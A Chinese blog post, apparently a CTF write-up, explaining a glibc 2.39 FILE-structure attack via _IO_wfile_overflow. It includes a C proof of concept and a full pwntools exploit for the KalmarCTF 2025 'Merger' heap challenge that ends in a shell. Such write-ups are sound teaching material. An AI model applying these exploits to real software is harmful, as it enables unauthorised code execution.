博客 / 詳情

返回

淺談glibc2.39下的堆利用

glibc2.34以後取消了__free_hook以及__malloc_hook,因此需要找到一個可以控制程序執行流程的函數指針代替__free_hook以及__malloc_hook

struct _IO_FILE_plus
{
    _IO_FILE    file;
    IO_jump_t   *vtable;
}

在結構體_IO_FILE_plus中存在着類似於虛表的變量vtable,其中存儲着許多函數指針。

image-20251009194102943

若能修改vtable指針並指向我們偽造的vtable,即可達成劫持程序執行流程的目的。

但是在glibc2.24之後加入了vtable指針的校驗,簡單來説就是會檢測vtable指針是否在範圍之內。因此在glibc2.24之後,需要找在範圍內的vtable指針加以利用。

static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;//計算在glibc中vtable指針的範圍
  uintptr_t ptr = (uintptr_t) vtable;
  uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables; //判斷當前vtable指針與起始位置的偏移
  if (__glibc_unlikely (offset >= section_length)) //若偏移大於最大距離則校驗失敗
    _IO_vtable_check ();
  return vtable;
}

glibc範圍內存在着名為_IO_wfile_jumpsvtable指針。該跳轉表中存在着一個特殊的函數_IO_wfile_overflow

image-20251009195029742

調用流程如下所示,簡單來講_IO_wfile_overflow最終調用的是_IO_wdoallocbuf將宏拆解,實際最終調用的是fp->_wide_data->_wide_vtable,而在調用fp->_wide_data->_wide_vtable的時候並沒有檢測vtable的合法性,因此倘若我們能夠偽造__wide_data就能夠控制_wide_vtable變量,最後將該跳轉表內容修改為system,即可完成程序流程的劫持。

/*
_IO_wfile_overflow
    => _IO_wdoallocbuf
        => _IO_WDOALLOCATE
*/
​
wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
  //#define _IO_NO_WRITES         0x0008
  //f->_flags & _IO_NO_WRITES == 0
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  //#define _IO_CURRENTLY_PUTTING 0x0800
  //f->_flags & _IO_CURRENTLY_PUTTING == 0
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
    {
      //f->_wide_data->_IO_write_base == 0
      if (f->_wide_data->_IO_write_base == 0)
    {
      //滿足上述條件執行fp->_wide_data->_wide_vtable
      _IO_wdoallocbuf (f);
      ...
​
void
_IO_wdoallocbuf (FILE *fp)
{
  //fp->_wide_data->_IO_buf_base == 0
  if (fp->_wide_data->_IO_buf_base)
    return;
  //#define _IO_UNBUFFERED        0x0002
  //fp->_flags & _IO_UNBUFFERED == 0
  if (!(fp->_flags & _IO_UNBUFFERED))
    if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
      return;
  ...
​
#define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP)
#define WJUMP0(FUNC, THIS) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS)
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)
#define _IO_WIDE_JUMPS(THIS) \
  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable

根據上述源碼我們可以知道,想要執行_IO_wdoallocbuf需要滿足以下幾個條件

  • f->_flags & _IO_NO_WRITES == 0

  • f->_flags & _IO_CURRENTLY_PUTTING == 0

  • f->_wide_data->_IO_write_base == 0

  • fp->_wide_data->_IO_buf_base == 0

  • fp->_flags & _IO_UNBUFFERED == 0

想要讓程序執行_IO_wfile_overflow函數需要觸發以下調用鏈

image-20251009221543800

_IO_cleanup函數的作用是清理所有打開的標準I/O流,因此在程序退出時就會調用。

image-20251009221812005

_IO_cleanup函數調用如下所示,實際內部執行的函數為_IO_flush_all

int
_IO_cleanup (void)
{
    ...
  int result = _IO_flush_all ();
    ...
}
​
int
_IO_flush_all (void)
{
    ...
  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
    {
      ...
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
       || (_IO_vtable_offset (fp) == 0
           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                    > fp->_wide_data->_IO_write_base))
       )
      && _IO_OVERFLOW (fp, EOF) == EOF)
          ...
}

_IO_list_all執行的列表順序為stderr->stdout->stdin,因此我們可以通過修改stderr->_wide_datastderr->vtable就可以優先觸發利用鏈,但是依舊需要滿足以下限制條件:

  • fp->_mode == 0

  • fp->_IO_write_ptr > fp->_IO_write_base

POC

根據上述條件,總結POC如下

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct _IO_jump_t {
    void *funcs[27]; // 偽佔位,不同glibc版本可能不同
};
struct _IO_FILE_plus {
    FILE file;
    const struct _IO_jump_t *vtable;
};
extern struct _IO_FILE_plus _IO_2_1_stderr_;
extern const struct _IO_jump_t _IO_wfile_jumps;
long  *fake_IO_wide_data;
long *fake_wide_vtable;
long * p;
int main() {
    //_IO_wide_data結構大小為0xe8
    fake_IO_wide_data = (long *)malloc(0xe8);
    //跳轉表結構大小為0xe8
    fake_wide_vtable = (long *)malloc(0xa8);
    //glibc2.39:_IO_wfile_jumps = _IO_file_jumps + 0x1f8
    _IO_2_1_stderr_.vtable = (char *)_IO_2_1_stderr_.vtable + 0x1f8;
    stderr->_wide_data = fake_IO_wide_data;
    stderr->_IO_write_ptr = 1;
    stderr->_IO_write_base = 0;
    *(long **)((char *)fake_IO_wide_data + 0xe0) = fake_wide_vtable;
    *(long **)((char *)fake_wide_vtable + 0x68) = (long *)system;
    //0xfbad為魔數,0x0101是為了拼接後續的sh字符串
    memcpy((char *)&stderr->_flags,"\x01\x01\xad\xfb;sh",8);
    return 0;
}

python腳本

#fake_wide_vtable(0xa8)
payload  = b'\x00'*0x68 + p64(libcbase + libc.symbols['system'])
payload = payload.ljust(0xa8,b"\x00")
add(26,0xa8,payload)
fake_wide_vtable = heapbase + 0x1770
​
#fake_IO_wide_data(0xe8)
payload = b'\x00' * 0xe0 + p64(fake_wide_vtable)
add(25,0xe8,payload)
fake_IO_wide_data  = heapbase + 0x1670
​
#fake stderr(0xe0)
fake_stderr                = FileStructure(0)
fake_stderr.flags          = u64(b'  sh\x00\x00\x00\x00')
fake_stderr._IO_write_base = 0
fake_stderr._IO_write_ptr  = 1 # _IO_write_ptr > _IO_write_base
fake_stderr._wide_data     = fake_IO_wide_data
fake_stderr.vtable         = libc.symbols['_IO_wfile_jumps'] + libcbase
fake_stderr._lock          = 0x205700 + libcbase #_IO_stdfile_2_lock
fake_stderr_bytes = bytes(fake_stderr)

例題

KalmarCTF 2025-Merger

image-20251016101218782

merge功能中堆塊是通過realloc函數對srcdst堆塊進行合併,合併完成之後,使用free函數對src堆塊進行釋放。但是這裏存在一個漏洞點,沒有限制srcdst堆塊的下標,使得srcdst堆塊的下標可以設置為同一個值。

【----幫助網安學習,以下所有學習資料免費領!加vx:YJ-2021-1,備註 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客户端安全檢測指南(安卓+IOS)

realloc函數在重新分配堆塊時會出現以下情況:

  1. 當重新申請的堆塊的size小於當前堆塊的size,則realloc會分割當前堆塊

  2. 當重新申請的堆塊的size大於當前堆塊的size,則realloc會先free當前堆塊,再malloc申請的size

結合merage功能,當以條件二執行realloc函數時會執行free(s)並緊接着執行free(src),因此當s=src時,就會導致double free漏洞。

想要利用上述double free漏洞,則需要滿足以下條件:

  • realloc申請的堆塊要比合並的堆塊大(以條件二方式執行realloc函數)

  • double free的堆塊size需要小於0x100,否則申請不到(add功能最大隻能申請0xff堆塊)

漏洞利用流程

  • 設置srcdst的下標為相同值

  • malloc(0xf7)的堆塊放置在unsortbin中,緊接着src堆塊從unsortbin中申請,這樣就能夠滿足double free的堆塊size小於0x100

  • src堆塊從unsortbin中申請,當以條件二方式執行realloc函數時則執行:

    • free(src)

    • 觸發unlinksrc堆塊合併回unsortbin

  • 緊接着執行merge函數的free(src),則src會放在tcachebin中,則構造出uaf漏洞,泄露libc地址

  • 後續將src堆塊放進fastbin中,構造double free漏洞,當相應大小的tcachebin被申請完畢後,fastbin中的堆塊會被放置在tcachebin中,從而變相構造出Tcache Poisoning

  • 利用Tcache Poisoning指向堆塊(size大於0xe0,由於io_file結構體需要0xe0大小的空間)

  • 利用io_file獲得shell

EXP

from pwn import *
​
sh = process("./merger")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.update(arch='amd64', os='linux', bits=64) 
​
def add(index,size,data):
    sh.recvuntil("> ")
    sh.sendline("1")
    sh.recvuntil("dex: ")
    sh.sendline(str(index))
    sh.recvuntil("ize: ")
    sh.sendline(str(size))
    sh.recvuntil("ta: ")
    sh.send(data)
    
​
def delete(index):
    sh.recvuntil("> ")
    sh.sendline("2")
    sh.recvuntil("dex: ")
    sh.sendline(str(index))
​
​
def show(index):
    sh.recvuntil("> ")
    sh.sendline("3")
    sh.recvuntil("dex: ")
    sh.sendline(str(index))
​
def merge(dst,src):
    sh.recvuntil("> ")
    sh.sendline("4")
    sh.recvuntil("st: ")
    sh.sendline(str(dst))
    sh.recvuntil("src: ")
    sh.sendline(str(src))
​
for i in range(7):
    add(i,0x87,0x87*'a')
for i in range(7):
    add(i+7,0xf7,0xf7*'a')
    
add(14,0x87,0x87*'a')
add(15,0xf7,0xf7*'a')
add(16,0x98,0x98*'a')
​
for i in range(7):
    delete(i+7)
delete(15)
add(14,0x87,0x87*'a')
​
for i in range(7):
    delete(i)
​
for i in range(7):
    add(i,0xf0,0xf0*'a')
​
#堆塊同時釋放在unsortbin與tcachebin中
merge(14,14)
sh.recvuntil("a"*0x87,drop=True)
libc_main_arena = u64(sh.recv(6).ljust(8,b"\x00"))
libcbase = libc_main_arena - 0x203b20
log.info("libcbase:"+hex(libcbase))
#修復unsortbin
payload = p64(libc_main_arena)*2
payload = payload.ljust(0xf0,b"a")
#堆塊20與堆塊21指向同一個堆塊,一個從tcachebin中申請,一個從unsortbin中申請
add(20,0xf0,payload)
add(21,0x77,'a'*0x77)
add(22,0x77,'a'*0x77)
​
for i in range(7):
    add(i,0x77,0x77*'a')
for i in range(7):
    delete(i)
delete(21)
show(20)  #uaf泄露數據
heapbase = u64(sh.recvuntil("\n",drop=True).ljust(8,b"\x00"))<<12
log.info("heapbase:"+hex(heapbase))
#fastbin double free
delete(22)
delete(20)
​
for i in range(7):
    add(i,0x77,0x77*'a')
for i in range(3):
    add(i+7,0xf7,0xf7*'a')
for i in range(3):
    delete(i+7)
#0x77的堆塊大小不足以存儲IO_File結構體,因此需要利用Tcache Poisoning指向0x100的堆塊
payload = p64((heapbase + 0x1670) ^ (heapbase>>12))
payload = payload.ljust(0x77,b"a")
add(20,0x77,payload)
add(0,0x77,'a'*0x77)
add(0,0x77,'a'*0x77)
#利用Tcache Poisoning指向_IO_2_1_stderr_
payload = p64((libcbase + libc.symbols['_IO_2_1_stderr_']) ^ (heapbase+0x1000>>12))
payload = payload.ljust(0x77,b"a")
add(0,0x77,payload)
​
#fake_wide_vtable(0xa8)
payload  = b'\x00'*0x68 + p64(libcbase + libc.symbols['system'])
payload = payload.ljust(0xa8,b"\x00")
add(26,0xa8,payload)
fake_wide_vtable = heapbase + 0x1770
​
#fake_IO_wide_data(0xe8)
payload = b'\x00' * 0xe0 + p64(fake_wide_vtable)
add(25,0xe8,payload)
fake_IO_wide_data  = heapbase + 0x1670
​
#fake stderr(0xe0)
fake_stderr                = FileStructure(0)
fake_stderr.flags          = u64(b'  sh\x00\x00\x00\x00')
fake_stderr._IO_write_base = 0
fake_stderr._IO_write_ptr  = 1 # _IO_write_ptr > _IO_write_base
fake_stderr._wide_data     = fake_IO_wide_data
fake_stderr.vtable         = libc.symbols['_IO_wfile_jumps'] + libcbase
fake_stderr._lock          = 0x205700 + libcbase #_IO_stdfile_2_lock
fake_stderr_bytes = bytes(fake_stderr)
print(hex(len(fake_stderr_bytes)))
add(2,0xf0,fake_stderr_bytes+p64(0xfbad2887)+b"\n")
sh.interactive()

更多網安技能的在線實操練習,請點擊這裏>>

  

user avatar
0 位用戶收藏了這個故事!

發佈 評論

Some HTML is okay.